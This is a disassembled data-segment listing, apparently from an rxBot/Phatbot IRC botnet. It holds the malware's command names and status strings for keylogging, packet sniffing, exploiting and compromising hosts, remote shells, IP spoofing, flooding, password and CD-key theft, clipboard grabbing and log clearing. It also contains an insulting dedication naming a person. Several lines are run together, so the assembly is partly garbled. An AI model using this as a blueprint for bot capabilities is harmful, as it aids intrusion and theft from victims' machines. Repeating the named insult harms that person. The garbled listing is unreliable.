dword_431CF0	dd 234032Dh, 6C79656Bh,	302676FhaAlreadyRunning	db '- Already running.',0
		align 10h
dword_431D10	dd 234032Dh, 6C79656Bh,	302676FhaNoKeyLoggerThr	db '- No key logger thread found.',0
		align 4
dword_431D3C	dd 234032Dh, 6C79656Bh,	302676FhaKeyLoggerStopp	db '- Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aKeylog		db 'keylog',0           ; DATA XREF: seg000:00405DE0o
		align 10h
unk_431D80	db  2Dh	; -		; DATA XREF: seg000:loc_405DD5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aNoPhatbotSniff	db '- No Phatbot sniffer thread found.',0
unk_431DB0	db  2Dh	; -		; DATA XREF: seg000:00405DCBo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotSniffer	db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_431DF0	db  2Dh	; -		; DATA XREF: seg000:00405D9Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFailedToSta_16	db '- Failed to start sniffer thread, error: <%d>.',0
unk_431E2C	db  2Dh	; -		; DATA XREF: seg000:00405D2Co
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aPhatbotPacketS	db '- Phatbot packet sniffer active.',0
		align 4
unk_431E5C	db  2Dh	; -		; DATA XREF: seg000:00405CC8o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aAlreadyRunni_0	db '- Already running.',0
aSniffer	db 'sniffer',0          ; DATA XREF: seg000:00405C91o
dword_431E84	dd 234032Dh, 696E7370h,	3026666haNoCarnivoreThr	db '- No Carnivore thread found.',0
		align 10h
dword_431EB0	dd 234032Dh, 696E7370h,	3026666haCarnivoreStopp	db '- Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
dword_431EEC	dd 234032Dh, 696E7370h,	3026666haFailedToSta_17	db '- Failed to start sniffer thread, error: <%d>.',0
		align 4
dword_431F28	dd 234032Dh, 696E7370h,	3026666haCarnivorePacke	db '- Carnivore packet sniffer active.',0
		align 4
dword_431F58	dd 234032Dh, 696E7370h,	3026666haAlreadyRunni_1	db '- Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: seg000:00405B59o
					; seg000:00405CA8o ...
		align 4
aPsniff		db 'psniff',0           ; DATA XREF: seg000:00405B42o
		align 4
aRf		db 'rf',0               ; DATA XREF: seg000:00405B2Do
		align 4
aReadfile	db 'readfile',0         ; DATA XREF: seg000:00405B18o
		align 4
aCm		db 'cm',0               ; DATA XREF: seg000:00405B03o
		align 4
aCmd		db 'cmd',0              ; DATA XREF: seg000:00405AEEo
aMirccmd	db 'mirccmd',0          ; DATA XREF: seg000:00405AC4o
aVisit		db 'visit',0            ; DATA XREF: seg000:00405A9Ao
		align 4
aLi		db 'li',0               ; DATA XREF: seg000:00405A85o
		align 10h
aList		db 'list',0             ; DATA XREF: seg000:00405A70o
		align 4
aGt		db 'gt',0               ; DATA XREF: seg000:00405A5Bo
		align 4
aDel		db 'del',0              ; DATA XREF: seg000:00405A31o
aDelete		db 'delete',0           ; DATA XREF: seg000:00405A1Co
					; seg000:00406068o
		align 4
aKi		db 'ki',0               ; DATA XREF: seg000:00405A07o
		align 4
aKp		db 'kp',0               ; DATA XREF: seg000:004059DDo
		align 10h
aKillproc	db 'killproc',0         ; DATA XREF: seg000:004059C8o
		align 4
aDn		db 'dn',0               ; DATA XREF: seg000:004059B3o
		align 10h
aDns		db 'dns',0              ; DATA XREF: seg000:0040599Eo
aSe		db 'se',0               ; DATA XREF: seg000:00405989o
		align 4
aPr		db 'pr',0               ; DATA XREF: seg000:00405935o
		align 4
aPrefix		db 'prefix',0           ; DATA XREF: seg000:00405920o
		align 4
aC_rn		db 'c_rn',0             ; DATA XREF: seg000:0040590Bo
		align 4
aC_rndnick	db 'c_rndnick',0        ; DATA XREF: seg000:004058F6o
		align 4
aC_q		db 'c_q',0              ; DATA XREF: seg000:004058E1o
aC_quit		db 'c_quit',0           ; DATA XREF: seg000:004058CCo
		align 4
aKillthread	db 'killthread',0       ; DATA XREF: seg000:004058A2o
		align 10h
aRaw		db 'raw',0              ; DATA XREF: seg000:00405878o
aPt		db 'pt',0               ; DATA XREF: seg000:00405863o
		align 4
unk_432028	db  2Dh	; -		; DATA XREF: seg000:004057DBo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aDisconnectingC	db '- disconnecting clones...',0
		align 10h
aNickservRegist	db 'nickserv register %s %s',0 ; DATA XREF: seg000:00405777o
aRegister	db 'register',0         ; DATA XREF: seg000:0040574Eo
		align 4
aPrivmsgSS_0	db 'PRIVMSG %s :%s',0   ; DATA XREF: seg000:004056F5o
		align 4
aMix		db 'mix',0              ; DATA XREF: seg000:0040562Bo
dword_432088	dd 56495250h, 2047534Dh, 3A207325h, 6E696601h, 1726567h
					; DATA XREF: seg000:004055D7o
					; seg000:0040560Eo
		dd 0
dword_4320A0	dd 56495250h, 2047534Dh, 3A207325h, 72657601h, 6E6F6973h
					; DATA XREF: seg000:004055A0o
		dd 1
dword_4320B8	dd 56495250h, 2047534Dh, 3A207325h, 6E697001h, 167h
					; DATA XREF: seg000:00405569o
					; seg000:0040567Do
aCtcp		db 'ctcp',0             ; DATA XREF: seg000:00405517o
		align 4
aNoticeSS_0	db 'NOTICE %s :%s',0    ; DATA XREF: seg000:00405482o
					; seg000:004054BEo ...
		align 4
aNotice_0	db 'notice',0           ; DATA XREF: seg000:0040542Bo
		align 4
aMsg		db 'msg',0              ; DATA XREF: seg000:0040533Fo
aChgnick	db 'chgnick',0          ; DATA XREF: seg000:004052F9o
aNick_0		db 'nick',0             ; DATA XREF: seg000:004051FCo
					; seg000:004057FAo
		align 10h
dword_432100	dd 56495250h, 2047534Dh, 3A207325h, 43434401h, 4E455320h
					; DATA XREF: seg000:004051DFo
		dd 64252044h, 2064252Eh, 25206425h, 64252064h, 1
dword_432128	dd 636364h	dword_43212C	dd 6E696F6Ah, 7261702Fh, 74hdword_432138	dd 4B43494Eh, 732520h					; seg000:00405256o ...
dword_432140	dd 69257325h, 0						; sub_40AC10+4Eo ...
aPnick		db 'pnick',0            ; DATA XREF: seg000:00404FA6o
		align 10h
aPartSS		db 'part %s %s',0       ; DATA XREF: seg000:00404F89o
					; seg000:00405072o ...
		align 4
aPartflood	db 'partflood',0        ; DATA XREF: seg000:00404F62o
		align 4
aPartS		db 'part %s',0          ; DATA XREF: seg000:00404F45o
aPart_0		db 'part',0             ; DATA XREF: seg000:00404F23o
					; seg000:0040584Eo
		align 4
aJoinS		db 'join %s',0          ; DATA XREF: seg000:00404F06o
					; seg000:00405049o ...
aJoin		db 'join',0             ; DATA XREF: seg000:00404EE4o
					; seg000:00405824o
		align 4
aModeSS		db 'mode %s %s',0       ; DATA XREF: seg000:00404EC7o
		align 4
aNoticeSS_1	db 'notice %s :%s',0    ; DATA XREF: seg000:00404E5Eo
		align 4
aNt		db 'nt',0               ; DATA XREF: seg000:00404E12o
		align 4
dword_4321A8	dd 76697270h, 2067736Dh, 3A207325h, 1732501h, 0
					; DATA XREF: seg000:00404DF5o
dword_4321BC	dd 7463h	dword_4321C0	dd 76697270h, 2067736Dh, 3A207325h, 7325h					; seg000:00405396o ...
dword_4321D0	dd 5Fh							; seg000:00404DC9o ...
dword_4321D4	dd 6D70h						; seg000:004062D2o
unk_4321D8	db  2Dh	; -		; DATA XREF: seg000:00404D0Eo
		db 3, 34h, 2
		db  69h	; i
		db 72h,	63h, 66h
		db  75h	; u
		db 63h,	6Bh, 2
		db    3
aSClonesLoadedT	db '- %s clones loaded to %s:%s',0
		align 4
aFlood		db 'flood',0            ; DATA XREF: seg000:00404C91o
		align 4
aRinms		db 'rinms',0            ; DATA XREF: seg000:00404C7Ao
		align 4
aReconnect_in_m	db 'reconnect.in.ms',0  ; DATA XREF: seg000:00404C65o
aRin		db 'rin',0              ; DATA XREF: seg000:00404C50o
aReconnect_in	db 'reconnect.in',0     ; DATA XREF: seg000:00404C3Bo
		align 4
unk_432238	db  2Dh	; -		; DATA XREF: seg000:00404C30o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFailedToStartE	db '- Failed to start exploiter thread, error: <%d>.',0
		align 4
unk_432278	db  2Dh	; -		; DATA XREF: seg000:00404BBEo
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aAttemptingToCo	db '- attempting to compromise %s...',0
		align 4
aExploit	db 'exploit',0          ; DATA XREF: seg000:00404B41o
unk_4322B0	db  2Dh	; -		; DATA XREF: seg000:00404B23o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofIpSetToS_	db ' Spoof IP set to ',27h,'%s',27h,'.',0
		align 4
unk_4322DC	db  2Dh	; -		; DATA XREF: seg000:00404AF9o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSIsAnInvalidIp	db ' ',27h,'%s',27h,' is an invalid IP address.',0
aD_D_D_		db '%d.%d.%d.*',0       ; DATA XREF: seg000:00404AC1o
		align 4
unk_43231C	db  2Dh	; -		; DATA XREF: seg000:00404A68o
					; seg000:00404AD9o
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingCurren	db ' Spoofing currently set to ',27h,'%s',27h,'.',0
		align 4
aGet		db 'get',0              ; DATA XREF: seg000:loc_404A46o
					; seg000:00405A46o
unk_432358	db  2Dh	; -		; DATA XREF: seg000:004049D4o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aInvalidLoginSl	db 'Invalid login slot number: %d.',0
		align 4
unk_432384	db  2Dh	; -		; DATA XREF: seg000:004049C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aNoUserLoggedIn	db 'No user logged in at slot: %d.',0
		align 10h
dword_4323B0	dd 234032Dh, 6E69616Dh,	202D0302h, 7325hunk_4323C0	db  2Dh	; -		; DATA XREF: seg000:loc_404965o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aThisModOfRxbot	db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir'
		db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress '
		db 'from Hell?) who I love so much.',0
		align 10h
dword_432470	dd 234032Dh, 75636573h,	3026572haFailedToSta_18	db '- Failed to start secure thread, error: <%d>.',0
		align 4
dword_4324AC	dd 234032Dh, 75636573h,	3026572h, 7325202Dh, 73797320h
					; DATA XREF: seg000:004048C8o
		dd 2E6D6574h, 0
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: seg000:004048C2o
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: seg000:004048BBo
		align 10h
unk_4324E0	db  2Dh	; -		; DATA XREF: seg000:00404844o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFailedToSta_19	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_432520	db  2Dh	; -		; DATA XREF: seg000:004047C0o
		db 3, 34h, 2
		db  62h	; b
		db 69h,	6Eh, 64h
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aServerStartedO	db ' Server started on: %s:%d.',0
		align 4
dword_43254C	dd 234032Dh, 6B636F73h,	3023473haFailedToSta_20	db '- Failed to start server thread, error: <%d>.',0
		align 4
dword_432588	dd 234032Dh, 6B636F73h,	3023473h					; seg000:00411877o
aServerStarte_0	db '- Server started on: %s:%d.',0
dword_4325B0	dd 234032Dh, 646E6966h,	656C6966h, 2D0302hdword_4325C0	dd 646E6946h, 6C696620h, 65hdword_4325CC	dd 234032Dh, 636F7270h,	2D030273h, 0dword_4325DC	dd 636F7250h, 20737365h, 7473696Ch, 0dword_4325EC	dd 234032Dh, 6E69616Dh,	202D0302h, 6F636552h, 63656E6Eh
					; DATA XREF: seg000:0040458Co
		dd 676E6974h, 2Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_40457Fo
					; seg000:loc_4096E5o ...
		align 10h
dword_432620	dd 234032Dh, 6E69616Dh,	202D0302h, 63736944h, 656E6E6Fh
					; DATA XREF: seg000:0040456Ao
		dd 6E697463h, 2E67h
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: seg000:loc_40455Do
		align 4
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: seg000:loc_404547o
					; seg000:004094C4o
		align 4
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: seg000:00404535o
		align 10h
unk_432670	db  2Dh	; -		; DATA XREF: seg000:004044E9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aStatusReady_Bo	db 'Status: Ready. Bot Uptime: %s.',0
		align 4
dword_43269C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746F42h, 203A4449h
					; DATA XREF: seg000:004044ABo
		dd 2E7325h
unk_4326B4	db  2Dh	; -		; DATA XREF: seg000:00404496o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToSta_21	db '- Failed to start list thread, error: <%d>.',0
		align 10h
dword_4326F0	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: seg000:00404427o
		dd 65726874h, 2E736461h, 0
dword_432710	dd 627573h	dword_432714	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: seg000:004043AFo
		dd 2E7473h
unk_43272C	db  2Dh	; -		; DATA XREF: seg000:00404394o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_22	db '- Failed to start listing thread, error: <%d>.',0
dword_432764	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: seg000:00404307o
		dd 2E676Fh
dword_43277C	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: seg000:00404283o
		dd 6F666E49h, 2Eh
dword_432798	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: seg000:00404254o
		dd 2E6F666Eh, 0
dword_4327B4	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: seg000:004041FFo
		dd 746F4220h, 2Eh
unk_4327D0	db  2Dh	; -		; DATA XREF: seg000:004041E3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_23	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_43280C	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: seg000:0040416Eo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: seg000:0040414Eo
		align 10h
unk_432830	db  2Dh	; -		; DATA XREF: seg000:004040ECo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_2	db ' Already running.',0
		align 10h
dword_432850	dd 234032Dh, 656B6463h,	3027379haSearchComplete	db '- Search completed.',0
dword_432870	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: seg000:00404074o
		dd 2E7325h
unk_432888	db  2Dh	; -		; DATA XREF: seg000:loc_403FE5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_4328A8	db  2Dh	; -		; DATA XREF: seg000:00403FDBo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 10h
unk_4328D0	db  2Dh	; -		; DATA XREF: seg000:00403FBCo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_4328FC	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: seg000:00403FA6o
		dd 72616F62h, 2E64h
dword_432918	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: seg000:00403F78o
		dd 2Dh
unk_432930	db  2Dh	; -		; DATA XREF: seg000:loc_403F68o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_43295C	db  2Dh	; -		; DATA XREF: seg000:00403F61o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 10h
unk_432980	db  2Dh	; -		; DATA XREF: seg000:loc_403F3Do
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_4329AC	db  2Dh	; -		; DATA XREF: seg000:loc_403F36o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_4329D8	db  2Dh	; -		; DATA XREF: seg000:00403F2Fo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_4329FC	db  2Dh	; -		; DATA XREF: seg000:00403EC2o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_24	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_432A38	db  2Dh	; -		; DATA XREF: seg000:00403E57o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_432A74	db  2Dh	; -		; DATA XREF: seg000:00403D8Eo
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_25	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_432AB0	db  2Dh	; -		; DATA XREF: seg000:00403D1Fo
					; sub_40B9DD+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_432AEC	db  2Dh	; -		; DATA XREF: seg000:00403C18o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_432B28	db  2Dh	; -		; DATA XREF: seg000:00403BA9o
					; sub_40B9DD+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_432B5C	db  2Dh	; -		; DATA XREF: seg000:00403AF7o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 4
unk_432B7C	db  2Dh	; -		; DATA XREF: seg000:loc_403AE1o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_27	db '- Failed to start scan, port is invalid.',0
		align 4
unk_432BB4	db  2Dh	; -		; DATA XREF: seg000:00403A91o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan thread, error: <%d>.',0
		align 10h
unk_432BF0	db  2Dh	; -		; DATA XREF: seg000:00403A20o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: seg000:004039F5o
					; seg000:00407651o
		align 4
aRandom		db 'Random',0           ; DATA XREF: seg000:004039EEo
					; seg000:0040764Ao
		align 10h
unk_432C70	db  2Dh	; -		; DATA XREF: seg000:0040383Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_432CB0	db  2Dh	; -		; DATA XREF: seg000:004037DDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_29	db 'Failed to start search thread, error: <%d>.',0
unk_432CEC	db  2Dh	; -		; DATA XREF: seg000:0040374Bo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: seg000:0040371Do
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: seg000:0040370Co
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: seg000:004036F9o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: seg000:004036E2o
		align 4
aVall		db 'vall',0             ; DATA XREF: seg000:004036CDo
		align 4
aScanall	db 'scanall',0          ; DATA XREF: seg000:004036B8o
dword_432D64	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: seg000:00403668o
		dd 746F6220h, 2Eh
aCrassh		db 'crassh',0           ; DATA XREF: seg000:00403652o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: seg000:0040363Do
		align 10h
aTftpserver	db 'tftpserver',0       ; DATA XREF: seg000:00403628o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: seg000:004035FEo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: seg000:004035E9o
		align 10h
aRloginserver	db 'rloginserver',0     ; DATA XREF: seg000:004035D4o
		align 10h
aCip		db 'cip',0              ; DATA XREF: seg000:004035BFo
aCurrentip	db 'currentip',0        ; DATA XREF: seg000:004035AAo
		align 10h
aFdns		db 'fdns',0             ; DATA XREF: seg000:00403595o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: seg000:00403580o
		align 4
aFarp		db 'farp',0             ; DATA XREF: seg000:0040356Bo
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: seg000:00403556o
		align 4
aGc		db 'gc',0               ; DATA XREF: seg000:00403541o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: seg000:0040352Co
unk_432E04	db  2Dh	; -		; DATA XREF: seg000:004034EEo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: seg000:004034D3o
					; seg000:00405794o ...
aSpoof		db 'spoof',0            ; DATA XREF: seg000:004034BCo
		align 4
unk_432E38	db  2Dh	; -		; DATA XREF: seg000:0040349Co
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: seg000:00403477o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: seg000:loc_40346Ao
dword_432E6C	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: seg000:0040344Ao
dword_432E80	dd 6F6877h	dword_432E84	dd 234032Dh, 2646D63h, 2D03hdword_432E90	dd 6F6D6552h, 73206574h, 6C6C6568h, 0aCmdstop	db 'cmdstop',0          ; DATA XREF: seg000:00403404o
aOcmd		db 'ocmd',0             ; DATA XREF: seg000:004033EFo
		align 10h
aOpencmd	db 'opencmd',0          ; DATA XREF: seg000:004033DAo
aDll		db 'dll',0              ; DATA XREF: seg000:004033C5o
aTestdlls	db 'testdlls',0         ; DATA XREF: seg000:004033B0o
		align 4
aDrv		db 'drv',0              ; DATA XREF: seg000:0040339Bo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: seg000:00403386o
		align 4
aUp		db 'up',0               ; DATA XREF: seg000:00403371o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: seg000:0040335Co
		align 4
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: seg000:00403332o
		align 10h
aPs		db 'ps',0               ; DATA XREF: seg000:0040331Do
		align 4
aProcs		db 'procs',0            ; DATA XREF: seg000:00403308o
		align 4
aR0i0m		db 'r0i0m',0            ; DATA XREF: seg000:004032F3o
		align 4
aRemov		db 'remov`]',0          ; DATA XREF: seg000:004032DEo
aSi		db 'si',0               ; DATA XREF: seg000:004032C9o
		align 10h
aSysinfo	db 'sysinfo',0          ; DATA XREF: seg000:004032B4o
aNi		db 'ni',0               ; DATA XREF: seg000:0040329Fo
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: seg000:0040328Ao
aClg		db 'clg',0              ; DATA XREF: seg000:00403275o
aClearlog	db 'clearlog',0         ; DATA XREF: seg000:00403260o
		align 4
aL0g		db 'l0g',0              ; DATA XREF: seg000:0040324Bo
aLo0g		db 'lo0g',0             ; DATA XREF: seg000:00403236o
		align 10h
aAl		db 'al',0               ; DATA XREF: seg000:00403221o
		align 4
aThreads	db 'threads',0          ; DATA XREF: seg000:004031E2o
unk_432F4C	db  2Dh	; -		; DATA XREF: seg000:004031AEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_432F74	db  2Dh	; -		; DATA XREF: seg000:004031A7o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: seg000:00403190o
		align 4
aId		db 'id',0               ; DATA XREF: seg000:00403166o
		align 10h
aStatus		db 'status',0           ; DATA XREF: seg000:0040313Co
		align 4
aQuit_0		db 'quit',0             ; DATA XREF: seg000:00403112o
		align 10h
aDc		db 'dc',0               ; DATA XREF: seg000:004030FDo
		align 4
aDisconnect	db 'disconnect',0       ; DATA XREF: seg000:004030E8o
		align 10h
aR:					; DATA XREF: seg000:004030D3o
					; seg000:0040588Do ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: seg000:004030BEo
		align 10h
aExplist	db 'explist',0          ; DATA XREF: seg000:004030A9o
aExploitlist	db 'exploitlist',0      ; DATA XREF: seg000:00403094o
aCbstats	db 'cbstats',0          ; DATA XREF: seg000:0040307Fo
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: seg000:0040306Ao
		align 10h
aTrstats	db 'trstats',0          ; DATA XREF: seg000:00403055o
aTransferstats	db 'transferstats',0    ; DATA XREF: seg000:00403040o
		align 4
aStats		db 'stats',0            ; DATA XREF: seg000:0040302Bo
		align 10h
aScanstats	db 'scanstats',0        ; DATA XREF: seg000:00403016o
		align 4
dword_43302C	dd 234032Dh, 6E616373h,	2D0302haScan_0		db 'Scan',0             ; DATA XREF: seg000:00403006o
		align 10h
aScanstop	db 'scanstop',0         ; DATA XREF: seg000:00402FEDo
		align 4
dword_43304C	dd 234032Dh, 75636573h,	3026572h, 2DhaSecure_0	db 'Secure',0           ; DATA XREF: seg000:00402FDDo
		align 4
aSecurestop	db 'securestop',0       ; DATA XREF: seg000:00402FC4o
		align 10h
